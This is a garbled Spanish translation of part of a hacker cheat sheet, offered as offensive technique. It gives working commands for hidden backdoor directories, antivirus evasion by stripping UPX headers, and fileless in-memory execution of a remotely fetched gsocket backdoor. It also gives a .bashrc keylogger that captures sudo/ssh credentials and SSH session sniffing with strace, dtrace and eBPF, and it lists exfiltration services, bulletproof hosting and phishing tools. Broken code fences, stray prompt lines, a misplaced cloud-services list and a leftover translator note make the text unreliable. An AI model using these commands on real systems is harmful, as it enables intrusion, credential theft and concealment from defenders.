alias ls='ls -I system-dev'

Esto ocultará el directorio system-dev del comando ls. Colócalo en ~/.profile del usuario o en /etc/profile del sistema.

Método 2: Trucos de los 80. Considera cualquier directorio en el que el administrador rara vez mire (como /boot/.X11/.. o similar):```sh mkdir '...' cd '...'

root@kitploit:~
Método 3:
Unix permite nombres de archivo con casi cualquier carácter ASCII excepto 0x00. Prueba con el tabulador (*\t*). Sucede que la mayoría de los administradores no saben cómo hacer cd en un directorio así.```sh
mkdir $'\t'
cd $'\t'

8.v. Hacer un archivo inmutable

Esto redirigirá /var/www/cgi/blah.cgi a /boot/backdoor.cgi. El archivo blah.cgi no puede ser modificado ni eliminado (a menos que se desmonte).```sh

/boot/backdoor.cgi contains our backdoor

touch /var/www/cgi/blah.cgi mount -o bind,ro /boot/backdoor.cgi /var/www/cgi/blah.cgi

root@kitploit:~
<a id="nosudo"></a>
**8.vi. Cambiar de usuario sin sudo/su**

Necesario para tomar capturas de pantalla de sesiones X11 (también conocido como `xwd -display :0 -silent -root | convert - jpg:screenshot.jpg` o `import -display :0 -window root screenshot.png`)```bash
xsu() {
    local name="${1:?}"
    local u g h
    local cmd="python"

    command -v python3 >/dev/null && cmd="python3"
    [ $UID -ne 0 ] && { HS_ERR "Need root"; return; }
    u=$(id -u ${name:?}) || return
    g=$(id -g ${name:?}) || return
    h="$(grep "^${name}:" /etc/passwd | cut -d: -f6)" || return
    HOME="${h:-/tmp}" "$cmd" -c "import os;os.setgid(${g:?});os.setuid(${u:?});os.execlp('bash', 'bash')"
}
# xsu user

8.vii. Ofuscar y cifrar payload

Usa UPX para empaquetar un binario ELF (ejemplo /bin/id):```shell BIN="mybin" upx -qqq /bin/id -o "${BIN}"

root@kitploit:~
Limpia la [cabecera de UPX](https://github.com/upx/upx/blob/devel/src/stub/src/include/header.S) y la segunda cabecera ELF para engañar al antivirus:```shell
perl -i -0777 -pe 's/^(.{64})(.{0,256})UPX!.{4}/$1$2\0\0\0\0\0\0\0\0/s' "${BIN}"
perl -i -0777 -pe 's/^(.{64})(.{0,256})\x7fELF/$1$2\0\0\0\0/s' "${BIN}"

Opcionalmente, limpiar firmas y rastros de UPX:```shell cat "${BIN}"
| perl -e 'local($/);$=<>;s/(.)($Info:[^\0])(.*)/print "$1";print "\0"x length($2); print "$3"/es;'
| perl -e 'local($/);$
=<>;s/(.)($Id:[^\0])(.)/print "$1";print "\0"x length($2); print "$3"/es;' >"${BIN}.tmpupx" mv "${BIN}.tmpupx" "${BIN}" grep -Eqm1 "PROT_EXEC|PROT_WRITE" "${BIN}"
&& cat "${BIN}" | perl -e 'local($/);$_=<>;s/(.
)(PROT_EXEC|PROT_WRI[^\0])(.)/print "$1";print "\0"x length($2); print "$3"/es;' >"${BIN}.tmpupx"
&& mv "${BIN}.tmpupx" "${BIN}" perl -i -0777 -pe 's/UPX!/\0\0\0\0/sg' "${BIN}"

root@kitploit:~
Verificar que el binario no puede ser desempaquetado:```shell
upx -d "${BIN}"  # Should fail with 'not packed by UPX'

Optionally encrypt it with bincrypter.

8.viii. Desplegar una puerta trasera sin tocar el sistema de archivos

Inicia una puerta trasera sin escribir en el sistema de archivos o cuando todas las ubicaciones escribibles están montadas con el malvado flag noexec.

Un one-liner de Perl para cargar un binario en memoria y ejecutarlo (sin tocar ningún disco ni /dev/shm ni /tmp). Consulta Hackshell para más información.```sh memexec() { local stropen strread local strargv0='"foo", ' [ -t 0 ] && { stropen="open($i, '<', '$1') or die 'open: $!';" strread='$i' unset strargv0 } # Check Syscall-NR: perl -e 'require "sys/syscall.ph"; printf &SYS_memfd_create;' perl -e '$f=syscall(319, $n="", 1); if(-1==$f){ $f=syscall(279, $n="", 1); if(-1==$f){ die "memfd_create: $!";}} '"${stropen}"' open($o, ">&=".$f) or die "open: $!"; while(<'"${strread:-STDIN}"'>){print $o $_;} exec {"/proc/$$/fd/$f"} '"${strargv0}"'@ARGV or die "exec: $!";' -- "$@" }

Example usage:

memexec /usr/bin/id -u

cat /usr/bin/id | memexec -u

curl -SsfL https://thc.org/my-backdoor-binary | memexec

root@kitploit:~
La variante más corta posible es (ejemplo):```shell
memexec(){ perl '-e$^F=255;for(319,279,385,4314,4354){($f=syscall$_,$",0)>0&&last};open($o,">&=".$f);print$o(<STDIN>);exec{"/proc/$$/fd/$f"}X,@ARGV;exit 255' -- "$@";}
# Example: cat /usr/bin/id | memexec -u

(Gracias a tmp.Out por algunas discusiones esclarecedoras y trabajo previo de otros)

Desplegar gsocket sin escribir en el sistema de archivos (ejemplo):```sh GS_ARGS="-ilqD -s SecretChangeMe31337" memexec <(curl -SsfL https://gsocket.io/bin/gs-netcat_mini-linux-$(uname -m))

root@kitploit:~
El backdoor también se puede canalizar a través de SSH directamente en la memoria del remoto, y ejecutarse:```sh
MX='-e$^F=255;for(319,279,385,4314,4354){($f=syscall$_,$",0)>0&&last};open($o,">&=".$f);print$o(<STDIN>);exec{"/proc/$$/fd/$f"}X,@ARGV;exit 255'
curl -SsfL https://gsocket.io/bin/gs-netcat_mini-linux-x86_64 | ssh root@foobar "exec perl '$MX' -- -ilqD -s SecretChangeMe31337"

Si tienes una sola oportunidad de ejecutar un comando de forma remota (como mediante un exploit de PHP), entonces esta es tu línea:```sh curl -SsfL https://gsocket.io/bin/gs-netcat_mini-linux-$(uname -m)|perl '-e$^F=255;for(319,279,385,4314,4354){($f=syscall$_,$",0)>0&&last};open($o,">&=".$f);print$o();exec{"/proc/$$/fd/$f"}X,@ARGV;exit 255' -- -ilqD -s SecretChangeMe31337

root@kitploit:~
---
<a id="crypto"></a>
## 9. Criptografía
<a id="gen-password"></a>
**9.i. Generar contraseña aleatoria rápida**

Ideal para contraseñas rápidas sin intervención humana.```sh
openssl rand -base64 24

Si openssl no está disponible, también podemos usar head para leer desde /dev/urandom.```sh head -c 32 < /dev/urandom | xxd -p -c 32

root@kitploit:~
o hazlo alfanumérico```sh
head -c 32 < /dev/urandom | base64 | tr -dc '[:alnum:]' | head -c 16

9.ii.a. Sistemas de archivos cifrados transportables de Linux - cryptsetup

Crea un sistema de archivos cifrado de 256MB. Se te pedirá una contraseña.```sh dd if=/dev/urandom of=/tmp/crypted bs=1M count=256 iflag=fullblock cryptsetup luksFormat /tmp/crypted cryptsetup open /tmp/crypted sec mkfs -t ext3 /dev/mapper/sec

root@kitploit:~
Montar:```sh
cryptsetup open /tmp/crypted sec
mount -o nofail,noatime /dev/mapper/sec /mnt/sec

Guarda los datos en /mnt/crypted, luego desmonta:```sh umount /mnt/sec cryptsetup close sec

root@kitploit:~
<a id="encfs"></a>
**9.ii.b. Sistemas de archivos cifrados transportables en Linux - EncFS**

Crea ```.sec``` y almacena los datos cifrados en ```.raw```:```sh
mkdir .raw .sec
encfs --standard  "${PWD}/.raw" "${PWD}/.sec"

unmount:```sh fusermount -u .sec

root@kitploit:~
<a id="encrypting-file"></a>
**9.iii Cifrado de un archivo**

Cifra tus 0-Days y archivos de registro antes de transferirlos - por favor. (y elige tu propia contraseña):```sh
# Encrypt
openssl enc -aes-256-cbc -pbkdf2 -k fOUGsg1BJdXPt0CY4I <input.txt >input.txt.enc

No se proporcionó contenido para traducir en este chunk (el texto tras "INPUT:" está vacío).```sh

Decrypt

openssl enc -d -aes-256-cbc -pbkdf2 -k fOUGsg1BJdXPt0CY4I <input.txt.enc >input.txt

root@kitploit:~
---
<a id="sniffing"></a>
## 10. Sniffing y secuestro de sesiones
<a id="session-sniffing"></a>
**10.i Sniffing de la sesión SHELL de un usuario**

Un one-liner para `~/.bashrc` que captura las pulsaciones de teclado del usuario y las guarda en `~/.config/.pty/.@*`. Útil cuando no se es root y se necesitan capturar las credenciales sudo/ssh/git del usuario.

Despliegue: Corta y pega lo siguiente en el objetivo y sigue las instrucciones:```sh
# This is a glorified version of:
# [ -z "$LC_PTY" ] && [ -t 0 ] && [[ "$HISTFILE" != *null* ]] && [ -d ~/.config/.pty ] && { script -V; } &>/dev/null && LC_PTY=1 exec -a "sshd: pts/0" script -fqaec "exec ${BASH_EXECUTION_STRING:--a -bash '"$(command -v bash)"'}" -I ~/.config/.pty/.@pty-unix.$$
command -v bash >/dev/null || { echo "Not found: /bin/bash"; false; } \
&& { mkdir -p ~/.config/.pty 2>/dev/null; :; } \
&& { script -h | grep -qm1 -- -I && cp "$(command -v script)" ~/.config/.pty/pty; :; } \
&& { [ ! -f ~/.config/.pty/pty ] && curl -o ~/.config/.pty/pty -fsSL "https://bin.pkgforge.dev/$(uname -m)/script"; :; } \
&& [ -f ~/.config/.pty/pty ] \
&& curl -o ~/.config/.pty/ini -fsSL "https://github.com/hackerschoice/zapper/releases/download/v1.1/zapper-stealth-linux-$(uname -m)" \
&& chmod 755 ~/.config/.pty/ini ~/.config/.pty/pty \
&& echo -e '----------\n\e[0;32mSUCCESS\e[0m. Add the following line to \e[0;36m~/.bashrc\e[0m:\e[0;35m' \
&& echo -e '[ -z "$LC_PTY" ] && [ -t 0 ] && [[ "$HISTFILE" != *null* ]] && [ -d ~/.config/.pty ] && { ~/.config/.pty/ini -h && ~/.config/.pty/pty -V; } &>/dev/null && LC_PTY=1 exec ~/.config/.pty/ini -a "sshd: pts/0" ~/.config/.pty/pty -fqaec "exec ${BASH_EXECUTION_STRING:--a -bash '"$(command -v bash)"'}" -I ~/.config/.pty/.@pty-unix.$$\e[0m'
  • Combinado con zapper para ocultar las opciones de comando de la lista de procesos.
  • Requiere /usr/bin/script de util-linux >= 2.37 (opción -I). Obtenemos el binario estático de pkgforge.
  • Considera usar /dev/tcp/3.13.3.7/1524 como archivo de salida para registrar en un host remoto.
  • Inicia sesión con ssh -o "SetEnv LC_PTY=1" para desactivar el registro.

10.ii Intercepta todas las sesiones SHELL con dtrace - FreeBSD

Especialmente útil para Solaris/SunOS y FreeBSD (pfSense). Utiliza sondas del kernel para rastrear todos los procesos sshd.

Copia este "D Script" al sistema de destino en un archivo llamado d:```c #pragma D option quiet inline string NAME = "sshd"; syscall::write:entry /(arg0 >= 5) && (arg2 <= 16) && (execname == NAME)/ { printf("%d: %s\n", pid, stringof(copyin(arg1, arg2))); }

root@kitploit:~
Inicia un dtrace y registra en /tmp/.log:```sh
### Start kernel probe as background process.
(dtrace -sd >/tmp/.log &)

10.iii Capturar todas las sesiones SHELL con eBPF - Linux

eBPF nos permite enganchar de forma segura más de 120.000 funciones en el kernel. Es como un "dtrace" mejor, pero para Linux.```sh curl -o bpftrace -fsSL https://github.com/iovisor/bpftrace/releases/latest/download/bpftrace chmod 755 bpftrace curl -o ptysnoop.bt -fsSL https://github.com/hackerschoice/bpfhacks/raw/main/ptysnoop.bt ./bpftrace -Bnone ptysnoop.bt

root@kitploit:~
Echa un vistazo a nuestras propias [herramientas eBPF para espiar contraseñas de sudo/su/ssh](https://github.com/hackerschoice/bpfhacks).

<a id="ssh-sniffing-strace"></a>
**10.iv Espiar la sesión SSH, bash o SSHD de un usuario con strace**```sh
tit() {
	strace -e trace="${1:?}" -p "${2:?}" 2>&1 | gawk 'BEGIN{ORS=""}/\.\.\./ { next }; {$0 = substr($0, index($0, "\"")+1); sub(/"[^"]*$/, "", $0); gsub(/(\\33){1,}\[[0-9;]*[^0-9;]?||\\33O[ABCDR]?/, ""); if ($0=="\\r"){print "\n"}else{print $0; fflush()}}'
	# strace -e trace="${1:?}" -p "${2:?}" 2>&1 | stdbuf -oL grep -vF ...  | awk 'BEGIN{FS="\"";}{if ($2=="\\r"){print ""}else{printf $2}}'
}
# tit read $(pidof -s ssh)
# tit read $(pidof -s bash)
# tit write $(pgrep -f 'sshd.*pts' | head -n1)

También es posible esnifar el proceso SSHD (captura también contraseñas de sudo, etc.). Nótese que trazamos la llamada write() en su lugar (porque sshd 'escribe' datos a bash):```sh

Find the sshd PID that spawned the bash:

ps -eF | grep -E '(^UID|sshd.*pts)' | grep -v ' grep' ... UID PID PPID C SZ RSS PSR STIME TTY TIME CMD paralle+ 7770 7764 0 5088 6780 1 Aug28 ? 00:00:05 sshd: parallels@pts/0 paralle+ 9056 9050 0 5088 6652 1 Aug28 ? 00:00:00 sshd: parallels@pts/1 paralle+ 11938 11932 0 5074 6772 1 10:59 ? 00:00:00 sshd: parallels@pts/3 ...

root@kitploit:~
Sniff 7770 (ejemplo):```shell
tit write 7770

10.v. Esnifar la sesión SSH saliente de un usuario con un script envoltorio

Un método aún más sucio en caso de que /proc/sys/kernel/yama/ptrace_scope esté configurado en 1 (strace fallará en sesiones SSH ya en ejecución)

Crea un script envoltorio llamado 'ssh' que ejecute strace + ssh para registrar la sesión:

Mostrar script envoltorio - CLIC AQUÍ```sh # Cut & Paste the following into a bash shell: # Add a local path to the PATH variable so our 'ssh' is executed instead of the real ssh: echo 'PATH=~/.local/bin:$PATH #0xFD0E' >>~/.profile

Create a log directory and our own ssh binary

mkdir -p ~/.local/bin ~/.local/logs

cat <<EOF >~/.local/bin/ssh #! /bin/bash strace -e trace=read -I 1 -o '! ~/.local/bin/ssh-log $$' /usr/bin/ssh $@ EOF

cat <<EOF >~/.local/bin/ssh-log #! /bin/bash grep -F 'read(4' | cut -f2 -d\" | while read -r x; do [[ ${#x} -gt 5 ]] && continue [[ ${x} == +(\\n|\\r) ]] && { echo ""; continue; } echo -n "${x}" done >$HOME/.local/logs/ssh-log-"${1}"-`date +%s`.txt EOF

chmod 755 ~/.local/bin/ssh ~/.local/bin/ssh-log . ~/.profile

echo -e "\033[1;32mSUCCESS. Logfiles stored in ~/.local/.logs/. To uninstall cut & paste this\033[0m:\033[1;36m grep -v 0xFD0E /.profile >/.profile-new && mv ~/.profile-new ~/.profile rm -rf ~/.local/bin/ssh ~/.local/bin/ssh-log ~/.local/logs/ssh-log*.txt rmdir ~/.local/bin ~/.local/logs ~/.local &>/dev/null \033[0m"

root@kitploit:~
(gracias a Gerald por probar esto)
</details>

La sesión SSH será capturada y registrada en *~/.ssh/logs/* la próxima vez que el usuario inicie sesión en su shell y use SSH.

<a id="ssh-sniffing-sshit"></a>
**10.vi Espiar la sesión SSH saliente de un usuario usando SSH-IT**

La forma más sencilla es usando [https://www.thc.org/ssh-it/](https://www.thc.org/ssh-it/).```sh
bash -c "$(curl -fsSL https://thc.org/ssh-it/x)"

10.vii Secuestro / Toma de control de una sesión SSH en ejecución

Usa https://github.com/nelhage/reptyr para tomar el control de una sesión SSH existente:```sh ps ax -o pid,ppid,cmd | grep 'ssh ' ./reptyr -T

or: ./reptyr -T $(pidof -s ssh)

Descargar herramienta
  • Servicios de migración y transferencia: para mover datos/cargas de trabajo. AWS: DMS, SMS, DataSync, Snow Family, Transfer Family; GCP: Transfer Appliance, Cloud Data Transfer, Database Migration Service, Migrate for Compute Engine; Azure: Migrate, Database Migration Service, Data Box, Site Recovery.
  • Servicios de informática para usuarios finales: escritorios virtuales y streaming de aplicaciones. AWS: WorkSpaces, WorkDocs, AppStream 2.0; GCP: N/A (usar terceros como Citrix, VMware); Azure: Virtual Desktop.
  • Servicios de IoT: Internet de las Cosas. AWS: IoT Core, Greengrass, IoT Analytics, IoT Device Management, FreeRTOS; GCP: IoT Core (Nota: GCP ha anunciado su descontinuación, considerar alternativas como ClearBlade, etc.), Cloud IoT Edge; Azure: IoT Hub, IoT Central, IoT Edge, Digital Twins.
  • Servicios de blockchain: redes blockchain gestionadas. AWS: Managed Blockchain; GCP: Ninguno (Blockchain Node Engine como oferta limitada); Azure: Blockchain Service (retirado, alternativas: Blockchain en Azure mediante soluciones de socios).
  • Servicios de computación cuántica: acceso a computación cuántica. AWS: Amazon Braket; GCP: Quantum AI (a través de Quantum Computing Service); Azure: Quantum.
  • Otros servicios / Servicio interesante específico del proveedor no categorizado arriba:
    • AWS: Ground Station, RoboMaker, DeepRacer, etc.
    • GCP: BeyondCorp, Anthos, Apigee, Healthcare API, etc.
    • Azure: Azure Orbital, Azure FarmBeats, etc.```
  • Must use '-T' or otherwise the original user will see that his SSH process gets suspended.

    root@kitploit:~
    ---
    <a id="vpn-shell"></a>
    ## 11. VPN y Shells
    <a id="shell"></a>
    **11.i. Servidores root desechables**```console
    $ ssh [email protected] # Use password 'segfault'
    

    https://thc.org/segfault

    11.ii. VPN/VPS/Proxies

    Proveedores de VPN de confianza

    1. https://www.mullvad.net
    2. https://www.cryptostorm.is
    3. https://ivpn.net
    4. https://proton.me - Ofrece VPN gratis
    5. https://vpn.fail - Gestionado por voluntarios

    Servidores Virtuales Privados. Por favor, consulta offshore.cat.

    1. https://www.hetzner.com - Barato
    2. https://hivecloud.pw - Sin KYC. A prueba de balas. Acepta criptomonedas.
    3. https://dmzhost.co - Ignora la mayoría de las solicitudes de abuso
    4. https://alexhost.com - Sin KYC. A prueba de balas. Zona libre de DMCA
    5. https://basehost.eu - Ignora órdenes judiciales
    6. https://buyvm.net - El mejor amigo del warez
    7. https://serverius.net - Usado por gángsters
    8. https://1984.hosting - Privacidad
    9. https://bithost.io - Revendedor de DigitalOcean, Linode, Hetzner y Vultr (acepta criptomonedas)
    10. https://www.privatelayer.com - Con sede en Suiza.

    Ver otros servicios sin KYC (.onion)

    Proxies (no usamos ninguno de esos)

    1. V2Ray Proxies
    2. Hola Proxies
    3. Zaeem's Free Proxy List
    4. Proxy Broker 2
    5. proxyscrape.com
    6. my-proxy.com
    7. getfreeproxylists.blogspot.com
    8. proxypedia.org
    9. socks-proxy.net
    10. Segfault: curl -x socks5h://$(PROXY) ipinfo.io - selecciona un proxy aleatorio para cada solicitud

    Muchos otros servicios (gratis)

    1. https://free-for.dev/

    12. Recopilación de inteligencia

    DNS inverso desde múltiples bases de datos públicas:```sh rdns () { curl -m10 -fsSL "https://ip.thc.org/${1:?}?limit=20&f=${2}" }

    rdns

    root@kitploit:~
    Encuentra subdominios de la base de datos TLS/THC-IP:```sh
    sub() {
        [ $# -ne 1 ] && { echo >&2 "crt <domain-name>"; return 255; }
        curl -fsSL "https://crt.sh/?q=${1:?}&output=json" --compressed | jq -r '.[].common_name,.[].name_value' | anew | sed 's/^\*\.//g' | tr '[:upper:]' '[:lower:]'
        curl -fsSL "https://ip.thc.org/sb/${1:?}"
    }
    # sub <domain>
    
    Herramientas OSINT para Hackers
    https://api.c99.nlGratis: Subdomain Finder, DE PAGO: Phone-Lookup, CF Resolver, WAF Detector, IP2Host, y más... por $25/año.
    https://osint.shGratis. Subdomain Finder, historial de DNS, buckets S3 públicos, IP inversa, búsqueda de certificados y más
    https://cli.fyiGratis. Interfaz curl/json para muchos servicios. Prueba curl cli.fyi/me o curl cli.fyi/thc.org.
    https://check-your-website.server-daten.deGratis. Comprobación TLS/DNS/Seguridad de un dominio.
    https://ipsniper.info/api.htmlrDNS/fDNS y otras herramientas de información IP
    https://ip.thc.orgConsulta fDNS/rDNS: curl -fL ip.thc.org/140.82.121.3
    https://hackertarget.com/ip-tools/Servicio OSINT gratuito (IP inversa, MTR, escaneo de puertos, escaneos CMS, escaneos de vulnerabilidades, soporte API)
    https://account.shodan.io/billing/tourBase de datos de puertos abiertos y consulta DNS de todo el mundo
    https://dnsdumpster.com/Herramienta de reconocimiento de dominios
    https://crt.sh/Búsqueda de certificados TLS
    https://archive.org/web/Vista histórica de sitios web
    https://www.farsightsecurity.com/solutions/dnsdb/Búsqueda DNS (no gratuita)
    https://wigle.net/Mapeador de redes inalámbricas
    https://radiocells.org/
    OSINT para Detectives
    https://start.me/p/rx6Qj8/nixintel-s-osint-resource-listLista de recursos OSINT de Nixintel
    https://github.com/jivoi/awesome-osintLista Awesome OSINT
    https://cipher387.github.io/osint_stuff_tool_collection/Colección de herramientas OSINT
    https://osintframework.com/Muchas herramientas OSINT
    Bases de datos OSINT
    https://data.ddosecrets.com/Volcados de bases de datos

    13. Miscelánea

    13.i. Herramientas del oficio

    Comunicaciones

    1. CryptoStorm Email - Correos electrónicos desechables (enviar y recibir). (Lista de Disposable-email-services).
    2. Temp-Mail - Servicio de correo desechable con una gran interfaz web. Solo recepción.
    3. tuta.io o ProtonMail/.onion - Correo electrónico gratuito y privado
    4. Quackr.Io - Mensajes SMS/texto desechables (Lista de Disposable-SMS-services).
    5. SMS-Man - SMS/texto anónimos que funcionan con Signal, WA y muchos otros
    6. Crypton - Alquila una SIM/SMS privada con cripto (.onion)
    7. Lista de servicios "No KYC" (.onion)

    OpSec

    1. OpSec para Rebeliones - Empieza aquí. Los 3 pasos más simples.
    2. RiseUp - Correo, VPN y consejos para rebeliones (en línea).
    3. CryptoPad/DisRoot - Infraestructura informática para organizar una rebelión.
    4. Neko - Lanza Firefox en Docker y accede vía 127.0.0.1:8080 (WebRTC)
    5. x11Docker - Aísla cualquier aplicación X11 en un contenedor (solo Linux y Windows). (Artículo)
    6. DangerZone - Haz que los PDF sean seguros antes de abrirlos.
    7. ExifTool - Elimina metadatos de archivos (exiftool -all= example.pdf example1.jpg ...)
    8. EFF - Sabios consejos para luchadores por la libertad.

    Exploits

    1. ttyinject y ptyspy para LPE.
    2. SploitScan - Búsqueda de puntuación de exploits y PoC (por xaitax)
    3. Traitor - Prueba varios exploits/vulnerabilidades para obtener root (LPE)
    4. PacketStorm - Nuestro sitio favorito desde que compartimos una pizza con fringe[at]dtmf.org en Nueva York en 2000
    5. ExploitDB - También incluye la base de datos de Metasploit y la base de datos de Google hacking
    6. Shodan/Exploits - Similar a exploit-db

    Recopilación de información del sistema

    1. curl -fsSL https://thc.org/ws | bash - Muestra todos los dominios alojados en un servidor + información del sistema
    2. https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS - Información rápida del sistema para hackers.
    3. https://github.com/zMarch/Orc - Herramienta post-explotación para encontrar RCE local (escribe getexploit después de instalar)
    4. https://github.com/The-Z-Labs/linux-exploit-suggester - Sugiere exploits basados en las versiones del sistema objetivo
    5. https://github.com/efchatz/pandora - Windows: volcado de contraseñas de varios gestores de contraseñas

    Backdoors

    1. https://www.gsocket.io/deploy - La backdoor más pequeña del mundo
    2. https://github.com/m0nad/Diamorphine - Módulo del kernel de Linux para ocultar procesos y archivos
    3. https://www.kali.org/tools/weevely - Backdoor PHP

    Escáneres de red

    1. https://github.com/robertdavidgraham/masscan - Escanea todo Internet
    2. https://github.com/ptrrkssn/pnscan - Escáner de red rápido
    3. https://zmap.io/ - ZMap & ZGrab

    Escáneres de vulnerabilidades (ten en cuenta: todos generan un 99% de falsos positivos no explotables. Todos apestan.)

    1. Raccoon - Reconocimiento y recopilación de información
    2. Osmedeus - Escaneo de vulnerabilidades y recopilación de información
    3. FullHunt - Escáner de log4j y spring4shell

    DDoS

    1. DeepNet - despreciamos el DDoS, pero si tuviéramos que hacerlo, esta sería nuestra elección.

    Binarios estáticos / herramientas precompiladas

    1. https://bin.pkgforge.dev https://pkgs.pkgforge.dev (github, Soar Project)
    2. https://github.com/andrew-d/static-binaries/tree/master/binaries/linux/x86_64
    3. https://lolbas-project.github.io/ (Windows)
    4. https://iq.thc.org/cross-compiling-exploits

    Phishing

    1. https://github.com/htr-tech/zphisher - No pirateamos así, pero esto es lo que usaríamos.
    2. https://da.gd/ - Un TinyUrl más pequeño y permite https://[email protected]/blah

    Herramientas

    1. https://github.com/hackerschoice/bincrypter - Ofusca y empaqueta cualquier binario de Linux
    2. https://github.com/guitmz/ezuri - Ofusca binarios de Linux (solo ELF)
    3. https://tmate.io/ - Comparte una pantalla con otros

    Callback / Canary / Comando y Control

    1. https://app.interactsh.com
    2. https://api.telegram.org
    3. https://webhook.site

    Tunelización

    1. Gost
    2. WireTap o WireGuard de Segfault.
    3. ngrok, cloudflared o pagekite para hacer que un servidor detrás de NAT sea accesible desde Internet público.

    Exfiltración

    1. Blitz - blitz -l / blitz foo.txt
    2. Segfault.net - escribe exfil
    3. RedDrop - ejecuta tu propio servidor de exfiltración
    4. Mega
    5. oshiAt - también en TOR. curl -T foo.txt https://oshi.at
    6. 0x0.at - curl -F'[email protected]' https://0x0.st/
    7. Transfer.sh - curl -T foo.txt https://transfer.sh
    8. LitterBox - curl -F reqtype=fileupload -F time=72h -F '[email protected]' https://litterbox.catbox.moe/resources/internals/api.php
    9. Croc - croc send foo.txt / croc anit-price-example
    10. MagicWormhole

    Publicación

    1. seedbox gratuito BT/DC/eD2k
    2. O usa /onion en segfault.net o el clásico https con ngrok
    3. Cloudflare - El plan gratuito permite la mayoría de cosas (dns + dominios + túneles).
    4. Njal.la - Registrador de dominios centrado en la privacidad
    5. DuckDNS - Nombres de dominio gratuitos
    6. AnonDNS - Nombre de dominio gratuito (anónimo)
    7. afraid.org - DNS dinámico gratuito para tu dominio
    8. hostwinds - Paga con cripto
    9. dominios unstoppable - Paga con cripto
    10. he.net - Servicio de servidores DNS gratuito
    11. 0bin / paste.ec - PasteBin cifrado
    12. pad.riseup.net - Crea documentos y compártelos de forma segura

    Foros y conferencias

    1. AlligatorCon - el original
    2. 0x41con
    3. TumpiCon
    4. 0x00sec

    Canales de Telegram

    1. The Hacker's Choice
    2. The Hacker News
    3. CyberSecurity Technologies
    4. Offensive Twitter
    5. Pwn3rzs
    6. VX-Underground
    7. Android Security / Malware
    8. OSINT CyberDetective
    9. BookZillaaa
    10. Rootkit Researchers

    Mapas mentales y conocimiento

    1. Hojas de referencia de Compass Sec
    2. Pentesting de redes
    3. Active Directory

    13.ii. Comandos Linux interesantes

    1. https://jvns.ca/blog/2022/04/12/a-list-of-new-ish--command-line-tools/
    2. https://github.com/ibraheemdev/modern-unix

    13.iii. Hoja de referencia de Tmux

    Hoja de referencia de Tmux
    Buffer máximoCtrl-b + : + set-option -g history-limit 65535
    Guardar scrollbackCtrl-b + : + capture-pane -S - seguido de Ctrl-b + : + save-buffer filename.txt.
    Espiar scrollbacktmux capture-pane -e -pS- -t 6.0 para capturar el panel 6, ventana 0 de un tmux en ejecución. Quita -e para guardar sin color.
    Limpiartmux send-keys -R C-l \; clear-history -t6.0 para limpiar la pantalla y eliminar el historial de scrollback.
    RegistroCtrl-b + : + bind-key P pipe-pane -o "exec cat >>$HOME/'tmux-#W-#S.log'" \; display-message 'Toggling ~/tmux-#W-#S.log'
    Pulsa Ctrl-b + Shift + P para iniciar y detener.
    Tmux ocultocd /dev/shm && zapper -fa '/usr/sbin/apache2 -k start' tmux -S .$'\t'cache
    Para conectarte a tu sesión haz
    cd /dev/shm && zapper -fa '/usr/sbin/apache2 -k start' tmux -S .$'\t'cache attach
    ConectarInicia un nuevo tmux, luego escribe Ctrl-b + s y usa LEFT, RIGHT para previsualizar y seleccionar cualquier sesión.
    MenúCtrl-b + >. Luego usa Ctrl-b + UP, DOWN, LEFT o RIGHT para moverte entre los paneles.

    13.iv. Comandos útiles

    Usa lsof -Pni o netstat -putan (o ss -putan) para listar todas las conexiones de Internet (-tu).

    Usa ss -lntp para mostrar todos los sockets TCP (-t) en escucha (-l).

    Usa netstat -rn o ip route show para mostrar la ruta de Internet predeterminada.

    Usa curl cheat.sh/tar para obtener ayuda TLDR para tar. Funciona con cualquier otro comando de Linux.

    Usa curl -fsSL bench.sh | bash para probar la velocidad de un servidor.

    Piratear a través de enlaces de alta latencia o enlaces lentos puede ser frustrante. Cada pulsación de tecla se transmite una a una y cualquier error tipográfico se vuelve mucho más frustrante y lento de deshacer. rlwrap viene al rescate. Almacena en búfer todas las pulsaciones individuales hasta que se pulsa Enter y luego transmite toda la línea de una vez. Esto hace que sea mucho más fácil escribir a alta velocidad, corregir errores, ...

    Ejemplo para el extremo receptor de un túnel inverso:```sh rlwrap --always-readline nc -vnlp 1524

    root@kitploit:~
    Ejemplo para *SSH*:```sh
    rlwrap --always-readline ssh user@host
    

    14. Cómo convertirse en hacker

    Hay muchas formas, pero una es:

    1. Usa Linux y vuélvete competente con Bash. Aprende todos los comandos de Linux.
    2. Aprende cómo funciona Internet. Instala y configura algunos servidores (mediante acceso shell).
    3. Comprende la Arquitectura de Sistemas y cómo funciona un SO.
    4. Lee cada libro. Pregúntate "¿por qué se hace de esta manera y no de la otra?".
    5. Lee los 10 mejores artículos de Phrack.
    6. Únete a un canal de hackers. Regístrate en TryHackMe o HackTheBox.
    7. Sé juguetón.

    15. Otros sitios

    1. Phineas Fisher - Sin tonterías. Directo. Así nos gusta.
    2. Hacking HackingTeam - un HackBack - Antiguo pero con talento real en acción.
    3. Guacamaya Hackback
    4. Vx Underground
    5. HTB absolute - Ataque bien escrito y explicado.
    6. Conti Leak - Hacking de Windows. Pragmático.
    7. Red Team Notes
    8. InfoSec CheatSheet
    9. HackTricks
    10. Awesome Red Teaming
    11. Hacking Resources
    12. Awesome Hacking
    13. VulHub - Prueba tus exploits
    14. Qubes-OS - SO de escritorio centrado en la seguridad con VMs invitadas aisladas (desechables) mediante XEN (Fedora, Debian, Whonix de serie)

    Reconocimientos: ADM, subz/#9x, DrWho, spoty Únete a nosotros en Telegram.

    "Buy Me A Coffee"

    Información de torres de telefonía móvil
    https://www.shodan.io/Motor de búsqueda para encontrar dispositivos y banners (no gratuito)
    https://spur.us/context/meCalificación IP https://spur.us/context/<IP>
    http://drs.whoisxmlapi.comConsulta Whois inversa (no gratuita)
    https://www.abuseipdb.comCalificación de abuso de IP